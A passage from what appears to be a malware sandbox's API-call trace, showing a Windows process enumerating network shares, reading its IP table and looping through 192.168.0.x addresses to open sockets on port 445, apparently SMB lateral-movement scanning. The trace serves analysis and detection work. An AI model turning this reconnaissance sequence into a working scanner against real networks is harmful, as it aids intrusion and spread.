lpcCount=0xf2f8b0, lpBuffer=0x794e58, lpBufferSize=0xf2f8bc | out: lpcCount=0xf2f8b0, lpBuffer=0x794e58, lpBufferSize=0xf2f8bc) returned 0x103 [0271.118] WNetCloseEnum (hEnum=0x6bbe20) returned 0x0 [0271.118] GetProcessHeap () returned 0x6a0000 [0271.118] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x794e58 | out: hHeap=0x6a0000) returned 1 [0271.119] GetProcessHeap () returned 0x6a0000 [0271.119] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3b10048 | out: hHeap=0x6a0000) returned 1 [0271.119] WNetEnumResourceW (in: hEnum=0x6bd230, lpcCount=0xf2f8f0, lpBuffer=0x378f588, lpBufferSize=0xf2f8fc | out: lpcCount=0xf2f8f0, lpBuffer=0x378f588, lpBufferSize=0xf2f8fc) returned 0x103 [0271.119] WNetCloseEnum (hEnum=0x6bd230) returned 0x0 [0271.119] GetProcessHeap () returned 0x6a0000 [0271.119] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x378f588 | out: hHeap=0x6a0000) returned 1 [0271.120] GetProcessHeap () returned 0x6a0000 [0271.120] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0271.120] GetProcessHeap () returned 0x6a0000 [0271.120] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4000) returned 0x378f588 [0271.120] GetProcessHeap () returned 0x6a0000 [0271.120] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0271.120] WNetOpenEnumW (in: dwScope=0x3, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0xf2f928 | out: lphEnum=0xf2f928*=0x6bca60) returned 0x0 [0271.121] WNetEnumResourceW (in: hEnum=0x6bca60, lpcCount=0xf2f920, lpBuffer=0x378f588, lpBufferSize=0xf2f92c | out: lpcCount=0xf2f920, lpBuffer=0x378f588, lpBufferSize=0xf2f92c) returned 0x103 [0271.121] WNetCloseEnum (hEnum=0x6bca60) returned 0x0 [0271.121] GetProcessHeap () returned 0x6a0000 [0271.121] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x378f588 | out: hHeap=0x6a0000) returned 1 [0271.121] GetProcessHeap () returned 0x6a0000 [0271.121] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0271.121] GetProcessHeap () returned 0x6a0000 [0271.121] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4000) returned 0x378f588 [0271.121] GetProcessHeap () returned 0x6a0000 [0271.121] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0271.122] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0xf2f910 | out: lphEnum=0xf2f910*=0x37226c8) returned 0x0 [0271.122] WNetEnumResourceW (in: hEnum=0x37226c8, lpcCount=0xf2f908, lpBuffer=0x378f588, lpBufferSize=0xf2f914 | out: lpcCount=0xf2f908, lpBuffer=0x378f588, lpBufferSize=0xf2f914) returned 0x0 [0271.122] GetProcessHeap () returned 0x6a0000 [0271.122] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4000) returned 0x794e58 [0271.123] GetProcessHeap () returned 0x6a0000 [0271.123] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3b10048 [0271.123] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x378f5c8, lphEnum=0xf2f8d0 | out: lphEnum=0xf2f8d0*=0x0) returned 0x4c6 [0271.124] GetProcessHeap () returned 0x6a0000 [0271.124] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x794e58 | out: hHeap=0x6a0000) returned 1 [0271.124] GetProcessHeap () returned 0x6a0000 [0271.124] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3b10048 | out: hHeap=0x6a0000) returned 1 [0271.124] GetProcessHeap () returned 0x6a0000 [0271.124] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4000) returned 0x794e58 [0271.124] GetProcessHeap () returned 0x6a0000 [0271.124] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3b10048 [0271.124] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x378f5a8, lphEnum=0xf2f8d0 | out: lphEnum=0xf2f8d0*=0x6bca60) returned 0x0 [0271.129] WNetEnumResourceW (in: hEnum=0x6bca60, lpcCount=0xf2f8c8, lpBuffer=0x794e58, lpBufferSize=0xf2f8d4 | out: lpcCount=0xf2f8c8, lpBuffer=0x794e58, lpBufferSize=0xf2f8d4) returned 0x0 [0271.129] GetProcessHeap () returned 0x6a0000 [0271.129] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4000) returned 0x6bfed8 [0271.130] GetProcessHeap () returned 0x6a0000 [0271.130] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x6c3ee0 [0271.130] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x794e58, lphEnum=0xf2f890 | out: lphEnum=0xf2f890*=0x6bcb40) returned 0x0 [0271.132] WNetEnumResourceW (in: hEnum=0x6bcb40, lpcCount=0xf2f888, lpBuffer=0x6bfed8, lpBufferSize=0xf2f894 | out: lpcCount=0xf2f888, lpBuffer=0x6bfed8, lpBufferSize=0xf2f894) returned 0x103 [0271.132] WNetCloseEnum (hEnum=0x6bcb40) returned 0x0 [0271.132] GetProcessHeap () returned 0x6a0000 [0271.132] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bfed8 | out: hHeap=0x6a0000) returned 1 [0271.132] GetProcessHeap () returned 0x6a0000 [0271.132] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6c3ee0 | out: hHeap=0x6a0000) returned 1 [0271.132] WNetEnumResourceW (in: hEnum=0x6bca60, lpcCount=0xf2f8c8, lpBuffer=0x794e58, lpBufferSize=0xf2f8d4 | out: lpcCount=0xf2f8c8, lpBuffer=0x794e58, lpBufferSize=0xf2f8d4) returned 0x103 [0271.132] WNetCloseEnum (hEnum=0x6bca60) returned 0x0 [0271.132] GetProcessHeap () returned 0x6a0000 [0271.132] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x794e58 | out: hHeap=0x6a0000) returned 1 [0271.133] GetProcessHeap () returned 0x6a0000 [0271.133] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3b10048 | out: hHeap=0x6a0000) returned 1 [0271.133] GetProcessHeap () returned 0x6a0000 [0271.133] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4000) returned 0x794e58 [0271.133] GetProcessHeap () returned 0x6a0000 [0271.133] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3b10048 [0271.133] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x378f588, lphEnum=0xf2f8d0 | out: lphEnum=0xf2f8d0*=0x6bca60) returned 0x0 [0271.196] WNetEnumResourceW (in: hEnum=0x6bca60, lpcCount=0xf2f8c8, lpBuffer=0x794e58, lpBufferSize=0xf2f8d4 | out: lpcCount=0xf2f8c8, lpBuffer=0x794e58, lpBufferSize=0xf2f8d4) returned 0x103 [0271.197] WNetCloseEnum (hEnum=0x6bca60) returned 0x0 [0271.197] GetProcessHeap () returned 0x6a0000 [0271.197] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x794e58 | out: hHeap=0x6a0000) returned 1 [0271.197] GetProcessHeap () returned 0x6a0000 [0271.197] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3b10048 | out: hHeap=0x6a0000) returned 1 [0271.197] WNetEnumResourceW (in: hEnum=0x37226c8, lpcCount=0xf2f908, lpBuffer=0x378f588, lpBufferSize=0xf2f914 | out: lpcCount=0xf2f908, lpBuffer=0x378f588, lpBufferSize=0xf2f914) returned 0x103 [0271.197] WNetCloseEnum (hEnum=0x37226c8) returned 0x0 [0271.197] GetProcessHeap () returned 0x6a0000 [0271.197] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x378f588 | out: hHeap=0x6a0000) returned 1 [0271.198] GetProcessHeap () returned 0x6a0000 [0271.198] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0271.198] GetProcessHeap () returned 0x6a0000 [0271.198] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x3a98) returned 0x378f588 [0271.198] GetIpAddrTable (in: pIpAddrTable=0x378f588, pdwSize=0xf2f93c, bOrder=0 | out: pIpAddrTable=0x378f588, pdwSize=0xf2f93c) returned 0x0 [0271.268] htonl (hostlong=0x5f00a8c0) returned 0xc0a8005f [0271.268] htonl (hostlong=0x5f00a8c0) returned 0xc0a8005f [0271.268] htonl (hostlong=0xffffff) returned 0xffffff00 [0271.268] htons (hostshort=0x1bd) returned 0xbd01 [0271.268] GetProcessHeap () returned 0x6a0000 [0271.268] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x800) returned 0x3799590 [0271.268] GetProcessHeap () returned 0x6a0000 [0271.268] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x800) returned 0x3799d98 [0271.268] htonl (hostlong=0xc0a80000) returned 0xa8c0 [0271.268] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.268] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.269] htonl (hostlong=0xc0a80001) returned 0x100a8c0 [0271.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.269] htonl (hostlong=0xc0a80002) returned 0x200a8c0 [0271.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.269] htonl (hostlong=0xc0a80003) returned 0x300a8c0 [0271.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.269] htonl (hostlong=0xc0a80004) returned 0x400a8c0 [0271.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.269] htonl (hostlong=0xc0a80005) returned 0x500a8c0 [0271.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.269] htonl (hostlong=0xc0a80006) returned 0x600a8c0 [0271.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.269] htonl (hostlong=0xc0a80007) returned 0x700a8c0 [0271.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.269] htonl (hostlong=0xc0a80008) returned 0x800a8c0 [0271.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.269] htonl (hostlong=0xc0a80009) returned 0x900a8c0 [0271.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.269] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.269] htonl (hostlong=0xc0a8000a) returned 0xa00a8c0 [0271.269] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.270] htonl (hostlong=0xc0a8000b) returned 0xb00a8c0 [0271.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.270] htonl (hostlong=0xc0a8000c) returned 0xc00a8c0 [0271.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.270] htonl (hostlong=0xc0a8000d) returned 0xd00a8c0 [0271.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.270] htonl (hostlong=0xc0a8000e) returned 0xe00a8c0 [0271.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.270] htonl (hostlong=0xc0a8000f) returned 0xf00a8c0 [0271.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.270] htonl (hostlong=0xc0a80010) returned 0x1000a8c0 [0271.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.270] htonl (hostlong=0xc0a80011) returned 0x1100a8c0 [0271.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.270] htonl (hostlong=0xc0a80012) returned 0x1200a8c0 [0271.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.270] htonl (hostlong=0xc0a80013) returned 0x1300a8c0 [0271.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.270] htonl (hostlong=0xc0a80014) returned 0x1400a8c0 [0271.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.270] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.270] htonl (hostlong=0xc0a80015) returned 0x1500a8c0 [0271.270] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.271] htonl (hostlong=0xc0a80016) returned 0x1600a8c0 [0271.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.271] htonl (hostlong=0xc0a80017) returned 0x1700a8c0 [0271.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.271] htonl (hostlong=0xc0a80018) returned 0x1800a8c0 [0271.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.271] htonl (hostlong=0xc0a80019) returned 0x1900a8c0 [0271.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.271] htonl (hostlong=0xc0a8001a) returned 0x1a00a8c0 [0271.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.271] htonl (hostlong=0xc0a8001b) returned 0x1b00a8c0 [0271.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.271] htonl (hostlong=0xc0a8001c) returned 0x1c00a8c0 [0271.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.271] htonl (hostlong=0xc0a8001d) returned 0x1d00a8c0 [0271.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.271] htonl (hostlong=0xc0a8001e) returned 0x1e00a8c0 [0271.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.271] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.271] htonl (hostlong=0xc0a8001f) returned 0x1f00a8c0 [0271.271] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.272] htonl (hostlong=0xc0a80020) returned 0x2000a8c0 [0271.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.272] htonl (hostlong=0xc0a80021) returned 0x2100a8c0 [0271.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.272] htonl (hostlong=0xc0a80022) returned 0x2200a8c0 [0271.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.272] htonl (hostlong=0xc0a80023) returned 0x2300a8c0 [0271.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.272] htonl (hostlong=0xc0a80024) returned 0x2400a8c0 [0271.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.272] htonl (hostlong=0xc0a80025) returned 0x2500a8c0 [0271.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.272] htonl (hostlong=0xc0a80026) returned 0x2600a8c0 [0271.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.272] htonl (hostlong=0xc0a80027) returned 0x2700a8c0 [0271.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.272] htonl (hostlong=0xc0a80028) returned 0x2800a8c0 [0271.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.272] htonl (hostlong=0xc0a80029) returned 0x2900a8c0 [0271.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.273] htonl (hostlong=0xc0a8002a) returned 0x2a00a8c0 [0271.273] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.273] htonl (hostlong=0xc0a8002b) returned 0x2b00a8c0 [0271.273] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.273] htonl (hostlong=0xc0a8002c) returned 0x2c00a8c0 [0271.273] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.273] htonl (hostlong=0xc0a8002d) returned 0x2d00a8c0 [0271.273] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.273] htonl (hostlong=0xc0a8002e) returned 0x2e00a8c0 [0271.273] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.273] htonl (hostlong=0xc0a8002f) returned 0x2f00a8c0 [0271.273] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.273] htonl (hostlong=0xc0a80030) returned 0x3000a8c0 [0271.273] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.273] htonl (hostlong=0xc0a80031) returned 0x3100a8c0 [0271.273] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.273] htonl (hostlong=0xc0a80032) returned 0x3200a8c0 [0271.273] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.273] htonl (hostlong=0xc0a80033) returned 0x3300a8c0 [0271.273] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.273] htonl (hostlong=0xc0a80034) returned 0x3400a8c0 [0271.274] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.274] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.274] htonl (hostlong=0xc0a80035) returned 0x3500a8c0 [0271.274] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.274] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.274] htonl (hostlong=0xc0a80036) returned 0x3600a8c0 [0271.274] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.274] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.274] htonl (hostlong=0xc0a80037) returned 0x3700a8c0 [0271.274] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.274] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.274] htonl (hostlong=0xc0a80038) returned 0x3800a8c0 [0271.274] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.274] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.274] htonl (hostlong=0xc0a80039) returned 0x3900a8c0 [0271.274] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.274] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.274] htonl (hostlong=0xc0a8003a) returned 0x3a00a8c0 [0271.274] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.274] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.274] htonl (hostlong=0xc0a8003b) returned 0x3b00a8c0 [0271.274] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.274] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.274] htonl (hostlong=0xc0a8003c) returned 0x3c00a8c0 [0271.274] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.274] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.274] htonl (hostlong=0xc0a8003d) returned 0x3d00a8c0 [0271.274] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.274] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.274] htonl (hostlong=0xc0a8003e) returned 0x3e00a8c0 [0271.274] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.274] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.275] htonl (hostlong=0xc0a8003f) returned 0x3f00a8c0 [0271.275] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.275] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.275] htonl (hostlong=0xc0a80040) returned 0x4000a8c0 [0271.275] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.275] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.275] htonl (hostlong=0xc0a80041) returned 0x4100a8c0 [0271.275] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.275] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.275] htonl (hostlong=0xc0a80042) returned 0x4200a8c0 [0271.275] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.275] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.275] htonl (hostlong=0xc0a80043) returned 0x4300a8c0 [0271.275] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.275] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.275] htonl (hostlong=0xc0a80044) returned 0x4400a8c0 [0271.275] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.275] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.275] htonl (hostlong=0xc0a80045) returned 0x4500a8c0 [0271.275] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.275] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.275] htonl (hostlong=0xc0a80046) returned 0x4600a8c0 [0271.275] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.275] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.275] htonl (hostlong=0xc0a80047) returned 0x4700a8c0 [0271.275] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.275] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.275] htonl (hostlong=0xc0a80048) returned 0x4800a8c0 [0271.275] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.275] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.275] htonl (hostlong=0xc0a80049) returned 0x4900a8c0 [0271.275] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.276] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: argp=0xf2f8f8) returned -1 [0271.276] htonl (hostlong=0xc0a8004a) returned 0x4a00a8c0 [0271.276] socket (af=2, type=1, protocol=6) returned 0xffffffff [0271.276] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0xf2f8f8 | out: 